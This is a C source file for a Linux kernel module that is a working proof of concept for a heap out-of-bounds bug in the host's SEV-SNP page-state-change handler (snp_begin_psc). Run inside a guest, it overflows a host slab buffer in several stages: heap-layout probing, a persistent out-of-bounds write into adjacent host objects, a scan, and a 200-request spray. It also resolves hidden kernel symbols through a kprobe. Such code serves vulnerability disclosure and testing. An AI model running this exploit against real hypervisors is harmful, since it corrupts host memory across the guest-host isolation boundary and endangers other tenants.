/*
 * trigger.c - PoC for snp_begin_psc() heap OOB (guest kernel module)
 *
 * Bug: snp_begin_psc() checks end_entry < 253 but not against the
 * kvzalloc(exit_info_2) buffer size. With exit_info_2=24 (kmalloc-cg-32)
 * and end_entry > 2, the host reads/writes past the buffer into adjacent
 * slab objects.
 *
 * Load inside an SEV-SNP guest. Triggers KASAN slab-out-of-bounds on host.
 *
 *   insmod trigger.ko
 *   # host: dmesg | grep KASAN
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/io.h>
#include <linux/slab.h>
#include <linux/percpu.h>
#include <linux/kprobes.h>
#include <linux/set_memory.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("PoC for snp_begin_psc heap OOB");
MODULE_AUTHOR("Stan");

#define MSR_AMD64_SEV_ES_GHCB		0xc0010130

#define GHCB_OFF_SW_EXIT_CODE		0x390
#define GHCB_OFF_SW_EXIT_INFO_1		0x398
#define GHCB_OFF_SW_EXIT_INFO_2		0x3A0
#define GHCB_OFF_SW_SCRATCH		0x3A8
#define GHCB_OFF_VALID_BITMAP		0x3F0
#define GHCB_OFF_PROTO_VER		0xFF2
#define GHCB_OFF_USAGE			0xFF4

#define VBIT_SW_EXIT_CODE		114
#define VBIT_SW_EXIT_INFO1		115
#define VBIT_SW_EXIT_INFO2		116
#define VBIT_SW_SCRATCH			117

#define SVM_VMGEXIT_PSC			0x80000010ULL

/* Match host psc_buffer layout from sev-common.h */
struct psc_hdr {
	u16 cur_entry;
	u16 end_entry;
	u32 reserved;
} __packed;

struct psc_entry {
	u64 cur_page	: 12;
	u64 gfn		: 40;
	u64 operation	: 4;
	u64 pagesize	: 1;
	u64 reserved	: 7;
} __packed;

#define PSC_ERROR_BIT		(1ULL << 32)

/*
 * 24 bytes = 8-byte hdr + 2 entries in-bounds.
 * entries[2] hits slab padding, entries[3+] hit adjacent objects.
 */
#define PSC_ALLOC_SIZE		24

#define OOB_PROBE_COUNT		48
#define OOB_START_ENTRY		3

static inline u64 raw_rdmsr(u32 msr)
{
	u32 lo, hi;
	asm volatile("rdmsr" : "=a"(lo), "=d"(hi) : "c"(msr));
	return ((u64)hi << 32) | lo;
}

static inline void raw_wrmsr(u32 msr, u64 val)
{
	asm volatile("wrmsr" : : "c"(msr), "a"((u32)val), "d"((u32)(val >> 32)));
}

static inline void ghcb_w64(void *g, unsigned int off, u64 val)
{
	*(volatile u64 *)((u8 *)g + off) = val;
}

static inline u64 ghcb_r64(void *g, unsigned int off)
{
	return *(volatile u64 *)((u8 *)g + off);
}

static inline void ghcb_set_vbit(void *g, unsigned int bit)
{
	u8 *bm = (u8 *)g + GHCB_OFF_VALID_BITMAP;
	bm[bit / 8] |= 1 << (bit % 8);
}

typedef unsigned long (*kln_t)(const char *);
static kln_t get_kallsyms_lookup_name(void)
{
	struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
	kln_t addr;
	if (register_kprobe(&kp) < 0)
		return NULL;
	addr = (kln_t)kp.addr;
	unregister_kprobe(&kp);
	return addr;
}

static u64 fire_psc_vmgexit(phys_addr_t scratch_pa, u64 alloc_size,
			    void *ghcb_va, phys_addr_t ghcb_pa)
{
	u64 resp;

	memset((u8 *)ghcb_va + GHCB_OFF_VALID_BITMAP, 0, 16);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_CODE, 0);

	*(u16 *)((u8 *)ghcb_va + GHCB_OFF_PROTO_VER) = 2;
	*(u32 *)((u8 *)ghcb_va + GHCB_OFF_USAGE) = 0;

	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_CODE, SVM_VMGEXIT_PSC);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_INFO_1, 0);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_INFO_2, alloc_size);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_SCRATCH, (u64)scratch_pa);

	ghcb_set_vbit(ghcb_va, VBIT_SW_EXIT_CODE);
	ghcb_set_vbit(ghcb_va, VBIT_SW_EXIT_INFO1);
	ghcb_set_vbit(ghcb_va, VBIT_SW_EXIT_INFO2);
	ghcb_set_vbit(ghcb_va, VBIT_SW_SCRATCH);

	asm volatile("rep; vmmcall" ::: "memory");

	resp = ghcb_r64(ghcb_va, GHCB_OFF_SW_EXIT_INFO_2);
	raw_wrmsr(MSR_AMD64_SEV_ES_GHCB, ghcb_pa);

	return resp;
}

static void setup_scratch(void *scratch_va, u16 cur_entry, u16 end_entry,
			  phys_addr_t safe_gfn)
{
	struct psc_hdr *hdr = (struct psc_hdr *)scratch_va;
	struct psc_entry *entries = (struct psc_entry *)(hdr + 1);

	memset(scratch_va, 0, PAGE_SIZE);

	hdr->cur_entry = cur_entry;
	hdr->end_entry = end_entry;

	entries[0].gfn       = safe_gfn;
	entries[0].operation = 2; /* SHARED */
	entries[0].pagesize  = 0;
	entries[0].cur_page  = 0;

	entries[1].gfn       = safe_gfn + 1;
	entries[1].operation = 2;
	entries[1].pagesize  = 0;
	entries[1].cur_page  = 0;
}

/*
 * Stage 1: Probe each OOB entry one at a time.
 * Response of 0 = adjacent memory was zero (host also wrote cur_page=1).
 * Response with error bit = adjacent memory has non-zero data.
 * This maps the host heap layout from inside the guest.
 */
static void run_stage1_oracle(void *scratch_va, phys_addr_t scratch_pa,
			      phys_addr_t safe_gfn, void *ghcb_va,
			      phys_addr_t ghcb_pa)
{
	u64 resp;
	int i;
	u8 map[OOB_PROBE_COUNT];

	pr_info("psc_oob: stage 1: probing %d OOB entries\n", OOB_PROBE_COUNT);

	memset(map, 0, sizeof(map));

	for (i = 0; i < OOB_PROBE_COUNT; i++) {
		u16 target = OOB_START_ENTRY + i;
		struct psc_hdr *hdr;

		setup_scratch(scratch_va, target, target, safe_gfn);
		wmb();

		resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
					ghcb_va, ghcb_pa);

		if (resp == 0)
			map[i] = 'Z';
		else if (resp & PSC_ERROR_BIT)
			map[i] = 'K';
		else
			map[i] = '?';

		hdr = (struct psc_hdr *)scratch_va;
		pr_info("psc_oob:   entry[%u] (+%u bytes): resp=0x%llx %c\n",
			target, (unsigned)(target * 8 + 8), resp, map[i]);
	}

	pr_info("psc_oob: heap map (Z=zero, K=kernel data):\n");
	for (i = 0; i < OOB_PROBE_COUNT; i += 4) {
		pr_info("psc_oob:   obj +%d: %c%c%c%c\n",
			i / 4 + 1, map[i], map[i+1],
			(i+2 < OOB_PROBE_COUNT) ? map[i+2] : ' ',
			(i+3 < OOB_PROBE_COUNT) ? map[i+3] : ' ');
	}
}

/*
 * Stage 2: Prove the OOB write persists across VMGEXITs.
 * First VMGEXIT writes cur_page=1 to a zero OOB entry. Second VMGEXIT
 * sees the entry as "completed" and skips it, proving the write landed
 * in adjacent slab memory.
 */
static void run_stage2_write(void *scratch_va, phys_addr_t scratch_pa,
			     phys_addr_t safe_gfn, void *ghcb_va,
			     phys_addr_t ghcb_pa)
{
	u64 resp;
	int i, found_zero = -1;

	pr_info("psc_oob: stage 2: OOB write proof\n");

	for (i = OOB_START_ENTRY; i < OOB_START_ENTRY + OOB_PROBE_COUNT; i++) {
		setup_scratch(scratch_va, i, i, safe_gfn);
		wmb();
		resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
					ghcb_va, ghcb_pa);
		if (resp == 0) {
			found_zero = i;
			pr_info("psc_oob:   zero entry at index %d (+%d bytes)\n",
				i, i * 8 + 8);
			break;
		}
	}

	if (found_zero < 0) {
		pr_info("psc_oob:   no zero entries found\n");
		return;
	}

	/* Re-probe: if the write persisted, this entry gets skipped */
	setup_scratch(scratch_va, found_zero, found_zero + 5, safe_gfn);
	wmb();
	resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE, ghcb_va, ghcb_pa);

	{
		struct psc_hdr *hdr = (struct psc_hdr *)scratch_va;
		pr_info("psc_oob:   re-probe [%d..%d]: resp=0x%llx cur_entry=%u\n",
			found_zero, found_zero + 5, resp, hdr->cur_entry);

		if (resp & PSC_ERROR_BIT)
			pr_info("psc_oob:   write confirmed: entry skipped, "
				"host hit data at %u\n", hdr->cur_entry);
	}

	for (i = found_zero; i < found_zero + 8 &&
	     i < OOB_START_ENTRY + OOB_PROBE_COUNT; i++) {
		u64 r;
		struct psc_hdr *h;

		setup_scratch(scratch_va, i, i, safe_gfn);
		wmb();
		r = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
				     ghcb_va, ghcb_pa);
		h = (struct psc_hdr *)scratch_va;
		pr_info("psc_oob:   entry[%d]: resp=0x%llx cur=%u %s%s\n",
			i, r, h->cur_entry,
			(r == 0) ? "PASS" :
			(r & PSC_ERROR_BIT) ? "FAIL" : "OTHER",
			(i == found_zero) ? " <-- written" : "");
	}
}

/*
 * Stage 3: Single VMGEXIT with end_entry=200.
 * Measures how far the OOB reaches before hitting non-zero data.
 */
static void run_stage3_scan(void *scratch_va, phys_addr_t scratch_pa,
			    phys_addr_t safe_gfn, void *ghcb_va,
			    phys_addr_t ghcb_pa)
{
	u64 resp;
	struct psc_hdr *hdr;
	u16 end = 200;

	pr_info("psc_oob: stage 3: full scan (end_entry=%u)\n", end);

	setup_scratch(scratch_va, 0, end, safe_gfn);
	wmb();

	resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE, ghcb_va, ghcb_pa);
	hdr = (struct psc_hdr *)scratch_va;

	pr_info("psc_oob:   resp=0x%llx, stopped at entry %u (of %u)\n",
		resp, hdr->cur_entry, end);
	pr_info("psc_oob:   buffer=%u bytes, OOB reached +%u bytes\n",
		PSC_ALLOC_SIZE, (unsigned)(hdr->cur_entry * 8 + 8));
}

/*
 * Stage 4: Fire 200 VMGEXITs with entries[3..10] OOB.
 * Each one triggers a KASAN slab-out-of-bounds on the host.
 */
#define SPRAY_COUNT	200

static void run_stage4_spray(void *scratch_va, phys_addr_t scratch_pa,
			     phys_addr_t safe_gfn, void *ghcb_va,
			     phys_addr_t ghcb_pa)
{
	int i, success = 0, errors = 0;
	u64 resp;
	struct psc_hdr *hdr;

	pr_info("psc_oob: stage 4: %d VMGEXITs with OOB entries\n", SPRAY_COUNT);

	for (i = 0; i < SPRAY_COUNT; i++) {
		memset(scratch_va, 0, 64);
		hdr = (struct psc_hdr *)scratch_va;
		hdr->cur_entry = 3;
		hdr->end_entry = 10;
		wmb();

		resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
					ghcb_va, ghcb_pa);

		if (resp == 0)
			success++;
		else
			errors++;

		if ((i % 50) == 0 || i == SPRAY_COUNT - 1)
			pr_info("psc_oob:   [%d/%d] resp=0x%llx\n",
				i + 1, SPRAY_COUNT, resp);
	}

	pr_info("psc_oob:   %d zero (wrote OOB), %d non-zero (read OOB)\n",
		success, errors);
}

static int __init trigger_init(void)
{
	struct page *scratch_page;
	phys_addr_t scratch_pa, ghcb_pa, safe_gfn;
	unsigned long flags, rd_sym;
	void *ghcb_va, *scratch_va;
	kln_t kln;
	int ret;
	typedef int (*smd_t)(unsigned long addr, int numpages);
	smd_t set_mem_dec;

	/* Check SEV-SNP via CPUID 0x8000001f */
	{
		u32 eax;
		asm volatile("cpuid" : "=a"(eax) : "a"(0x8000001f)
			     : "ebx", "ecx", "edx");
		if (!(eax & BIT(4))) {
			pr_err("psc_oob: not an SEV-SNP guest\n");
			return -ENODEV;
		}
	}
	pr_info("psc_oob: SEV-SNP confirmed\n");

	kln = get_kallsyms_lookup_name();
	if (!kln)
		return -ENOENT;

	rd_sym = kln("runtime_data");
	if (!rd_sym)
		return -ENOENT;

	set_mem_dec = (smd_t)kln("set_memory_decrypted");
	if (!set_mem_dec)
		return -ENOENT;

	scratch_page = alloc_page(GFP_KERNEL | __GFP_ZERO);
	if (!scratch_page)
		return -ENOMEM;
	scratch_va = page_address(scratch_page);
	scratch_pa = page_to_phys(scratch_page);
	safe_gfn = scratch_pa >> PAGE_SHIFT;

	ret = set_mem_dec((unsigned long)scratch_va, 1);
	if (ret) {
		__free_page(scratch_page);
		return ret;
	}

	/* Get this CPU's GHCB */
	{
		void __percpu **rd_percpu = (void __percpu **)rd_sym;
		void *rd_ptr;

		preempt_disable();
		rd_ptr = this_cpu_read(*rd_percpu);
		preempt_enable();

		if (!rd_ptr)
			return -EINVAL;
		ghcb_va = rd_ptr;
		ghcb_pa = __pa(ghcb_va);
	}

	pr_info("psc_oob: scratch=0x%llx ghcb=0x%llx\n",
		(u64)scratch_pa, (u64)ghcb_pa);

	local_irq_save(flags);
	preempt_disable();

	run_stage1_oracle(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);
	run_stage2_write(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);
	run_stage3_scan(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);
	run_stage4_spray(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);

	memset((u8 *)ghcb_va + GHCB_OFF_VALID_BITMAP, 0, 16);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_CODE, 0);
	raw_wrmsr(MSR_AMD64_SEV_ES_GHCB, ghcb_pa);

	preempt_enable();
	local_irq_restore(flags);

	pr_info("psc_oob: done\n");
	return -EAGAIN;
}

static void __exit trigger_exit(void) {}
module_init(trigger_init);
module_exit(trigger_exit);